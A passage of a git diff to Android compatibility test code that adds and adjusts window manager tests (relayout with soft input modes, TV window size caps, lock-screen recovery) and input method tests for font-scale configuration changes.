+            super.onCreate(savedInstanceState);
+        }
+
+        void addWindow(View view, WindowManager.LayoutParams attrs) {
+            getWindowManager().addView(view, attrs);
+            mViews.add(view);
+        }
+
+        void removeAllWindows() {
+            for (View view : mViews) {
+                getWindowManager().removeViewImmediate(view);
+            }
+            mViews.clear();
+        }
+
+        @Override
+        protected void onPause() {
+            super.onPause();
+            removeAllWindows();
+        }
+    }
+
+    private static class SyncDisplayHashResultCallback implements DisplayHashResultCallback {
+        private static final int SCREENSHOT_WAIT_TIME_S = 1;
+        private DisplayHash mDisplayHash;
+        private int mError;
+        private CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public DisplayHash getDisplayHash() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mDisplayHash;
+        }
+
+        public int getError() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mError;
+        }
+
+        @Override
+        public void onDisplayHashResult(@NonNull DisplayHash displayHash) {
+            mDisplayHash = displayHash;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onDisplayHashError(int errorCode) {
+            mError = errorCode;
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
index b352df2..8166ab9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
@@ -16,6 +16,10 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_NOTHING;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
+
 import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
@@ -24,7 +28,20 @@
 public class ForceRelayoutTest extends ForceRelayoutTestBase {
 
     @Test
-    public void testNoRelayoutWhenInsetsChange() throws Throwable {
-        testRelayoutWhenInsetsChange(false /* testRelayoutWhenInsetsChange */);
+    public void testNoRelayoutWhenInsetsChange_adjustPan() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_PAN);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustNothing() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_NOTHING);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustResize() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_RESIZE);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
index 9ffe529..ac06678 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
@@ -20,6 +20,7 @@
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -48,7 +49,7 @@
     public ActivityTestRule<TestActivity> mDecorActivity = new ActivityTestRule<>(
             TestActivity.class);
 
-    void testRelayoutWhenInsetsChange(boolean expectRelayoutWhenInsetsChange)
+    void testRelayoutWhenInsetsChange(boolean expectRelayoutWhenInsetsChange, int softInputMode)
             throws Throwable {
         TestActivity activity = mDecorActivity.getActivity();
         assertNotNull("test setup failed", activity.mLastContentInsets);
@@ -58,6 +59,7 @@
         InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
             activity.mLayoutHappened = false;
             activity.mMeasureHappened = false;
+            activity.getWindow().setSoftInputMode(softInputMode);
             activity.getWindow().getInsetsController().hide(systemBars());
         });
         activity.mZeroInsets.await(180, TimeUnit.SECONDS);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
index 6644990..c26ccb1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
@@ -258,12 +258,17 @@
         mActivityRule.runOnUiThread(() -> {
                 mVr.relayout(bigEdgeLength, bigEdgeLength);
         });
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-            mEmbeddedView, null);
-        // We need to draw twice to make sure the first buffer actually
-        // arrives.
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-            mEmbeddedView, null);
+        mInstrumentation.waitForIdleSync();
+
+        // We use frameCommitCallback because we need to ensure HWUI
+        // has actually queued the frame.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mActivityRule.runOnUiThread(() -> {
+            mEmbeddedView.getViewTreeObserver().registerFrameCommitCallback(
+                latch::countDown);
+            mEmbeddedView.invalidate();
+        });
+        assertTrue(latch.await(1, TimeUnit.SECONDS));
 
         // But after the click should hit.
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java
new file mode 100644
index 0000000..4daae77
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+
+import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+import static android.content.pm.PackageManager.FEATURE_LEANBACK_ONLY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import static java.util.Objects.requireNonNull;
+
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.graphics.Point;
+import android.hardware.display.DisplayManager;
+import android.view.Display;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * The goal of this test is to make sure that on Android TV applications with target SDK version
+ * lower than S do not get a larger than 1080p (1920x1080) Window.
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:TvMaxWindowSizeTests
+ */
+public class TvMaxWindowSizeTests extends ActivityManagerTestBase {
+
+    private int mDisplayLongestWidth;
+    private int mDisplayShortestWidth;
+
+    @Before
+    public void setUp() {
+        // We only need to run this on TV.
+        final PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        final boolean isTv = pm.hasSystemFeature(FEATURE_LEANBACK) ||
+                pm.hasSystemFeature(FEATURE_LEANBACK_ONLY);
+        assumeTrue(isTv);
+
+        // Get the real size of the display.
+        final DisplayManager dm = mInstrumentation.getContext()
+                .getSystemService(DisplayManager.class);
+        requireNonNull(dm);
+        final Display display = dm.getDisplay(Display.DEFAULT_DISPLAY);
+        assumeNotNull(display);
+        final Point displaySize = new Point();
+        display.getRealSize(displaySize);
+        mDisplayLongestWidth = Math.max(displaySize.x, displaySize.y);
+        mDisplayShortestWidth = Math.min(displaySize.x, displaySize.y);
+    }
+
+    @Test
+    public void test_preSApplication_1080p_windowSizeCap() {
+        // Only run this if the resolution is over 1080p (at least on one side).
+        assumeFalse(mDisplayLongestWidth <= 1920 && mDisplayShortestWidth <= 1080);
+
+        final CommandSession.SizeInfo sizeInfo = launchAndGetReportedSizes(SDK_30_TEST_ACTIVITY);
+
+        final int longestWidth = Math.max(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+        final int shortestWidth = Math.min(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+
+        assertThat(longestWidth, lessThanOrEqualTo(1920));
+        assertThat(shortestWidth, lessThanOrEqualTo(1080));
+    }
+
+    @Test
+    public void test_windowSize_notLargerThan_displaySize() {
+        final CommandSession.SizeInfo sizeInfo = launchAndGetReportedSizes(TEST_ACTIVITY);
+
+        final int longestWidth = Math.max(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+        final int shortestWidth = Math.min(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+
+        assertThat(longestWidth, lessThanOrEqualTo(mDisplayLongestWidth));
+        assertThat(shortestWidth, lessThanOrEqualTo(mDisplayShortestWidth));
+    }
+
+    private CommandSession.SizeInfo launchAndGetReportedSizes(ComponentName componentName) {
+        startActivityOnDisplay(Display.DEFAULT_DISPLAY, componentName);
+        mWmState.computeState(new WaitForValidActivityState(componentName));
+        final CommandSession.SizeInfo sizeInfo = getLastReportedSizesForActivity(componentName);
+        assertNotNull(sizeInfo);
+        return sizeInfo;
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
index f3aebf8..99e9659 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -97,7 +97,7 @@
     @Test
     public void testDevSettingPrecedence() {
         try (SettingsSession<Integer> devDialogShow =
-                     globalIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
              SettingsSession<Integer> userDialogHide =
                      globalIntSession(Settings.Global.HIDE_ERROR_DIALOGS);
              SettingsSession<Integer> showOnFirstCrash =
@@ -105,7 +105,6 @@
         ) {
             devDialogShow.set(1);
             showOnFirstCrash.set(1);
-            // I recon this would require pushing a configuration change
             userDialogHide.set(1);
 
             launchActivityNoWait(Components.CRASHING_ACTIVITY);
@@ -165,9 +164,11 @@
         // wait for app to be focused
         mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
                 2_000 /* waitTime */);
-        // wait for input manager to get the new focus app
-        SystemClock.sleep(500);
-        injectKey(KeyEvent.KEYCODE_BACK, false /* longPress */, false /* sync */);
+        // queue up enough key events to trigger an ANR
+        for (int i = 0; i < 14; i++) {
+            injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
+            SystemClock.sleep(500);
+        }
         ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
         ensureHomeFocused();
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index a299c8c..6485340 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -706,9 +706,9 @@
         }
 
         // When the lock screen is removed, the ShowWhenLocked activity will be dismissed using the
-        // back button, which should send it to the stopped state.
-        waitAndAssertActivityStates(state(showWhenLockedActivity, ON_STOP));
-        LifecycleVerifier.assertResumeToStopSequence(
+        // back button, which should finish the activity.
+        waitAndAssertActivityStates(state(showWhenLockedActivity, ON_DESTROY));
+        LifecycleVerifier.assertResumeToDestroySequence(
                 ShowWhenLockedCallbackTrackingActivity.class, getLifecycleLog());
     }
 
diff --git a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
index 1860571..e052651 100644
--- a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
+++ b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
@@ -16,6 +16,10 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_NOTHING;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
+
 import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
@@ -24,7 +28,20 @@
 public class ForceRelayoutSdk29Test extends ForceRelayoutTestBase {
 
     @Test
-    public void testRelayoutWhenInsetsChange() throws Throwable {
-        testRelayoutWhenInsetsChange(true /* testRelayoutWhenInsetsChange */);
+    public void testNoRelayoutWhenInsetsChange_adjustPan() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_PAN);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustNothing() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_NOTHING);
+    }
+
+    @Test
+    public void testRelayoutWhenInsetsChange_adjustResize() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                true /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_RESIZE);
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 020e435..c403771 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -116,6 +116,7 @@
 import android.app.ActivityOptions;
 import android.app.ActivityTaskManager;
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
@@ -1203,6 +1204,10 @@
                 .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
     }
 
+    protected static void removeLockCredential() {
+        runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
+    }
+
     protected static boolean remoteInsetsControllerControlsSystemBars() {
         return getInstrumentation().getTargetContext().getResources()
                 .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
@@ -1361,7 +1366,6 @@
 
         public LockScreenSession(int flags) {
             mIsLockDisabled = isLockDisabled();
-            mLockCredentialSet = false;
             // Enable lock screen (swipe) by default.
             setLockDisabled(false);
             if ((flags & FLAG_REMOVE_ACTIVITIES_ON_CLOSE) != 0) {
@@ -1388,11 +1392,6 @@
             return this;
         }
 
-        private void removeLockCredential() {
-            runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
-            mLockCredentialSet = false;
-        }
-
         LockScreenSession disableLockScreen() {
             setLockDisabled(true);
             return this;
@@ -1454,6 +1453,7 @@
             setLockDisabled(mIsLockDisabled);
             if (mLockCredentialSet) {
                 removeLockCredential();
+                mLockCredentialSet = false;
             }
 
             // Dismiss active keyguard after credential is cleared, so keyguard doesn't ask for
@@ -2480,8 +2480,34 @@
      * to collect multiple errors.
      */
     private class PostAssertionRule extends ErrorCollector {
+        private Throwable mLastError;
+
         @Override
         protected void verify() throws Throwable {
+            if (mLastError != null) {
+                // Try to recover the bad state of device to avoid subsequent test failures.
+                final KeyguardManager kgm = mContext.getSystemService(KeyguardManager.class);
+                if (kgm != null && kgm.isKeyguardLocked()) {
+                    mLastError.addSuppressed(new IllegalStateException("Keyguard is locked"));
+                    // To clear the credential immediately, the screen need to be turned on.
+                    pressWakeupButton();
+                    removeLockCredential();
+                    // Off/on to refresh the keyguard state.
+                    pressSleepButton();
+                    pressWakeupButton();
+                    pressUnlockButton();
+                }
+                final String overlayDisplaySettings = Settings.Global.getString(
+                        mContext.getContentResolver(), Settings.Global.OVERLAY_DISPLAY_DEVICES);
+                if (overlayDisplaySettings != null && overlayDisplaySettings.length() > 0) {
+                    mLastError.addSuppressed(new IllegalStateException(
+                            "Overlay display is found: " + overlayDisplaySettings));
+                    // Remove the overlay display because it may obscure the screen and causes the
+                    // next tests to fail.
+                    SettingsSession.delete(Settings.Global.getUriFor(
+                            Settings.Global.OVERLAY_DISPLAY_DEVICES));
+                }
+            }
             if (!sIllegalTaskStateFound) {
                 // Skip if a illegal task state was already found in previous test, or all tests
                 // afterward could also fail and fire unnecessary false alarms.
@@ -2494,6 +2520,12 @@
             }
             super.verify();
         }
+
+        @Override
+        public void addError(Throwable error) {
+            super.addError(error);
+            mLastError = error;
+        }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 418d298..5f210a4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1078,6 +1078,10 @@
         public int smallestWidthDp;
         public int densityDpi;
         public int orientation;
+        public int windowWidth;
+        public int windowHeight;
+        public int windowAppWidth;
+        public int windowAppHeight;
 
         SizeInfo() {
         }
@@ -1097,6 +1101,10 @@
             smallestWidthDp = config.smallestScreenWidthDp;
             densityDpi = config.densityDpi;
             orientation = config.orientation;
+            windowWidth = config.windowConfiguration.getBounds().width();
+            windowHeight = config.windowConfiguration.getBounds().height();
+            windowAppWidth = config.windowConfiguration.getAppBounds().width();
+            windowAppHeight = config.windowConfiguration.getAppBounds().height();
         }
 
         @Override
@@ -1105,6 +1113,8 @@
                     + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
                     + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
                     + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
+                    + " windowWidth=" + windowWidth + " windowHeight=" + windowHeight
+                    + " windowAppWidth=" + windowAppWidth + " windowAppHeight=" + windowAppHeight
                     + " orientation=" + orientation + "}";
         }
 
@@ -1125,7 +1135,11 @@
                     && metricsHeight == that.metricsHeight
                     && smallestWidthDp == that.smallestWidthDp
                     && densityDpi == that.densityDpi
-                    && orientation == that.orientation;
+                    && orientation == that.orientation
+                    && windowWidth == that.windowWidth
+                    && windowHeight == that.windowHeight
+                    && windowAppWidth == that.windowAppWidth
+                    && windowAppHeight == that.windowAppHeight;
         }
 
         @Override
@@ -1140,6 +1154,10 @@
             result = 31 * result + smallestWidthDp;
             result = 31 * result + densityDpi;
             result = 31 * result + orientation;
+            result = 31 * result + windowWidth;
+            result = 31 * result + windowHeight;
+            result = 31 * result + windowAppWidth;
+            result = 31 * result + windowAppHeight;
             return result;
         }
 
@@ -1159,6 +1177,10 @@
             dest.writeInt(smallestWidthDp);
             dest.writeInt(densityDpi);
             dest.writeInt(orientation);
+            dest.writeInt(windowWidth);
+            dest.writeInt(windowHeight);
+            dest.writeInt(windowAppWidth);
+            dest.writeInt(windowAppHeight);
         }
 
         public void readFromParcel(Parcel in) {
@@ -1171,6 +1193,10 @@
             smallestWidthDp = in.readInt();
             densityDpi = in.readInt();
             orientation = in.readInt();
+            windowWidth = in.readInt();
+            windowHeight = in.readInt();
+            windowAppWidth = in.readInt();
+            windowAppHeight = in.readInt();
         }
 
         public static final Creator<SizeInfo> CREATOR = new Creator<SizeInfo>() {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 19c0faf..2a9f861 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1694,9 +1694,14 @@
         private Rect mContainingFrame;
         private Rect mParentFrame;
         private Rect mFrame;
+        private Rect mCompatFrame;
         private Rect mSurfaceInsets = new Rect();
         private Rect mGivenContentInsets = new Rect();
         private Rect mCrop = new Rect();
+        private boolean mInSizeCompatMode;
+        private float mGlobalScale;
+        private int mRequestedWidth;
+        private int mRequestedHeight;
 
         WindowState(WindowStateProto proto) {
             super(proto.windowContainer);
@@ -1720,6 +1725,7 @@
                 mFrame = extract(windowFramesProto.frame);
                 mContainingFrame = extract(windowFramesProto.containingFrame);
                 mParentFrame = extract(windowFramesProto.parentFrame);
+                mCompatFrame = extract(windowFramesProto.compatFrame);
             }
             mSurfaceInsets = extract(proto.surfaceInsets);
             if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
@@ -1735,6 +1741,10 @@
                 mWindowType = 0;
             }
             collectDescendantsOfType(WindowState.class, this, mSubWindows);
+            mInSizeCompatMode = proto.inSizeCompatMode;
+            mGlobalScale = proto.globalScale;
+            mRequestedWidth = proto.requestedWidth;
+            mRequestedHeight = proto.requestedHeight;
         }
 
         boolean isStartingWindow() {
@@ -1777,6 +1787,10 @@
             return mParentFrame;
         }
 
+        public Rect getCompatFrame() {
+            return mCompatFrame;
+        }
+
         Rect getCrop() {
             return mCrop;
         }
@@ -1789,6 +1803,22 @@
             return mType;
         }
 
+        public boolean isInSizeCompatMode() {
+            return mInSizeCompatMode;
+        }
+
+        public float getGlobalScale() {
+            return mGlobalScale;
+        }
+
+        public int getRequestedWidth() {
+            return mRequestedWidth;
+        }
+
+        public int getRequestedHeight() {
+            return mRequestedHeight;
+        }
+
         private String getWindowTypeSuffix(int windowType) {
             switch (windowType) {
                 case WINDOW_TYPE_STARTING:
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
index ee993ae..fb52381 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
@@ -153,7 +153,7 @@
         return getter.get(getContentResolver(), uri.getLastPathSegment());
     }
 
-    protected static void delete(final Uri uri) {
+    public static void delete(final Uri uri) {
         final List<String> segments = uri.getPathSegments();
         if (segments.size() != 2) {
             Log.w(TAG, "Unsupported uri for deletion: " + uri, new Throwable());
diff --git a/tests/inputmethod/mockime/res/xml/method.xml b/tests/inputmethod/mockime/res/xml/method.xml
index 5b3cf85..48f4a78 100644
--- a/tests/inputmethod/mockime/res/xml/method.xml
+++ b/tests/inputmethod/mockime/res/xml/method.xml
@@ -16,5 +16,6 @@
 -->
 
 <input-method xmlns:android="http://schemas.android.com/apk/res/android"
-              android:supportsInlineSuggestions="true">
+              android:supportsInlineSuggestions="true"
+              android:configChanges="fontScale">
 </input-method>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 49983b8..902db86 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -16,6 +16,8 @@
 
 package android.view.inputmethod.cts;
 
+import static android.content.pm.ActivityInfo.CONFIG_DENSITY;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -77,6 +79,7 @@
     private boolean mSubtypeOverridesImplicitlyEnabledSubtype;
     private int mSubtypeId;
     private InputMethodSubtype mInputMethodSubtype;
+    private int mHandledConfigChanges;
 
     @Before
     public void setup() {
@@ -85,7 +88,9 @@
         mClassName = InputMethodSettingsActivityStub.class.getName();
         mLabel = "test";
         mSettingsActivity = "android.view.inputmethod.cts.InputMethodSettingsActivityStub";
-        mInputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel, mSettingsActivity);
+        mHandledConfigChanges = CONFIG_DENSITY;
+        mInputMethodInfo = new InputMethodInfo(
+                mPackageName, mClassName, mLabel, mSettingsActivity, mHandledConfigChanges);
 
         mSubtypeNameResId = 0;
         mSubtypeIconResId = 0;
@@ -155,6 +160,7 @@
         String expectedId = component.flattenToShortString();
         assertEquals(expectedId, info.getId());
         assertEquals(mClassName, info.getServiceName());
+        assertEquals(mHandledConfigChanges, info.getConfigChanges());
     }
 
     @Test
@@ -174,7 +180,7 @@
     @Test
     public void testEquals() {
         InputMethodInfo inputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel,
-                mSettingsActivity);
+                mSettingsActivity, mHandledConfigChanges);
         assertTrue(inputMethodInfo.equals(mInputMethodInfo));
     }
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index b2a0287..d8624aee 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -66,6 +66,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
@@ -77,6 +78,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
@@ -93,6 +95,10 @@
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(20);
     private static final long EXPECTED_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
 
+    private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
+    // 1.2 is an arbitrary value.
+    private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
+
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
 
@@ -247,6 +253,39 @@
         }
     }
 
+    @Test
+    public void testHandlesConfigChanges() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // MockIme handles fontScale. Make sure changing fontScale doesn't restart IME.
+            toggleFontScale();
+            expectImeVisible(TIMEOUT);
+            // Make sure IME was not restarted.
+            notExpectEvent(stream, event -> "onCreate".equals(event.getEventName()), TIMEOUT);
+        }
+    }
+
+    // Font scale is a global configuration.
+    // This function will delete any previous font scale changes, apply one, and remove it.
+    private void toggleFontScale() {
+        try {
+            final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            SystemUtil.runShellCommand(instrumentation, ERASE_FONT_SCALE_CMD);
+            instrumentation.waitForIdleSync();
+            SystemUtil.runShellCommand(instrumentation, PUT_FONT_SCALE_CMD);
+            instrumentation.waitForIdleSync();
+            SystemUtil.runShellCommand(instrumentation, ERASE_FONT_SCALE_CMD);
+        } catch (IOException io) {
+            fail("Couldn't apply font scale.");
+        }
+    }
+
     private static void assertSynthesizedSoftwareKeyEvent(KeyEvent keyEvent, int expectedAction,
             int expectedKeyCode, long expectedEventTimeBefore, long expectedEventTimeAfter) {
         if (keyEvent.getEventTime() < expectedEventTimeBefore
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 7c175c5..428ac60 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -117,6 +117,7 @@
 
     private static final String ACTION_TRIGGER = "broadcast_action_trigger";
     private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+    private static final String EXTRA_SHOW_SOFT_INPUT = "extra_show_soft_input";
     private static final int NEW_KEYBOARD_HEIGHT = 400;
 
     @Rule
@@ -559,7 +560,6 @@
         runImeVisibilityWhenImeTransitionBetweenActivities(false /* instant */);
     }
 
-    @Ignore("b/179491219")
     @AppModeInstant
     @Test
     public void testImeVisibilityWhenImeTransitionBetweenActivities_Instant() throws Exception {
@@ -572,7 +572,6 @@
         runImeVisibilityTestWhenForceStopPackage(false /* instant */);
     }
 
-    @Ignore("b/179491012")
     @AppModeInstant
     @Test
     public void testImeInvisibleWhenForceStopPkgProcess_Instant() throws Exception {
@@ -659,6 +658,11 @@
             try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
